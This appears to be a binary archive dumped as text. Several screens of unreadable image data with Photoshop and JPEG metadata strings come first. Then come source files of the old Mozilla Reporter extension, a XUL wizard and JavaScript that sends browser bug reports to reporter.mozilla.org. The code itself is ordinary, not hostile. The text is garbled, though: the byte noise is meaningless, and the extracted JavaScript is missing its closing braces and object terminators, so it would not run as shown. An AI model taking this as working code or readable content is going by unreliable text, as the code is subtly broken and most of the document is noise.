Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
